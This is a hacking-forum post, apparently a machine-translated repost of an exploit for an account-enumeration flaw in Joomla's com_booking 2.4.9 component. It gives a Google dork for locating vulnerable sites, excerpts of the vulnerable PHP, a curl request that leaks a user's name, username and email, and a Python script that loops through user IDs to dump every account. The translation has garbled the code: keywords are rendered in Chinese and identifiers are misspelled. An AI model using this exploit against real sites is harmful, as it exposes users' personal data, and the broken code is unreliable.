H

JOOMLA! com_booking组件2.4.9-信息泄漏(帐户枚举)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: JOOMLA! com_booking组件2.4.9-信息泄漏(帐户枚举)
#Google Dork: inurl:'index.php?option=com_booking'
#日期: 07/12/2023
#利用作者: qw3rtyty
#供应商HomePage3360 http://www.artio.net/
#软件链接: http://www.artio.net/DOWRLOADS/JOMLA/BOOK-IT/BOOK-IT/BOOK-IT-2-FREE/DOWNLOAD
#版本: 2.4.9
#测试在: Slackware/nginx/joomla! 3.10.11

##
#file:网站/booking.php

#?php
#[.]
#18 include_once(jpath_component_administrator。ds。'booking.php');
#[.]

#file:管理员/booking.php

#?php
#[.]
#104 if(class_exists((($ className=aimporter3:controller()))){
#105 $ controller=new $ className();
#106/* @var $控制器jcontroller * /
#107 $ Controller-Execute(jrequest:getVar('task'));
#108 $ Controller-redirect();
#109}
#[.]

#file:管理员/控制器/customer.php

#?php
#[.]
#240函数getUserData(){
#241 $ user=jfactory:getuser(jrequest:3:getInt('id''));
#242 $ data=array('name'=$ user-name,'username'=$ user-username,'email'=$ user-email);
#243 DIE(JSON_ENCODE($ data));
#244}
#[.]

#a以下获取请求等同于执行诸如“选择名称,用户名,来自abcde_users的电子邮件”之类的查询,其中ID=123'。

#curl -x获取http://target/joomla/index.php?option=com_bookingcontroller=customerTask=getUserDataid=123

#因此,攻击者可以通过蛮力轻松枚举所有帐户。

##
导入argparse
导入Urllib.Parse
导入请求
从系统进口出口
从时间进口睡眠
Def EnumerateAccounts(选项):
i=1
url=options.url
url=url +'/index.php?option=com_bookingController=customertask=getUserDataid='
而true:
TRY:
响应=requests.get('{} {}'。格式(url,str(i)))
if antsphy.status_code==200:
TRY:
jsondocument=response.json()
如果jsondocument ['name']!=none:
印刷(jsondocument)
除了请求
增加
其他:
休息
除异常外,例如EX:
打印(ex)
休息
I +=1
def main():
p=argparse.argumentparser()
p.add_argument(' - u',' - url',type=str,必需=true)
解析=p.parse_args()
TRY:
t=urllib.parse.urlparse(parsed.url)
除了ex:除外
打印(ex)
出口()
如果不是t [0] .startswith('http'),而不是t [0] .startswith('https'):
打印(“给出的URL不正确。”)
出口()
如果Len(t [1])==0:
打印(“给出的URL不正确。”)
出口()
Enumerateaccounts(解析)
如果name=='__ -Main __':
主要的()
 
后退
顶部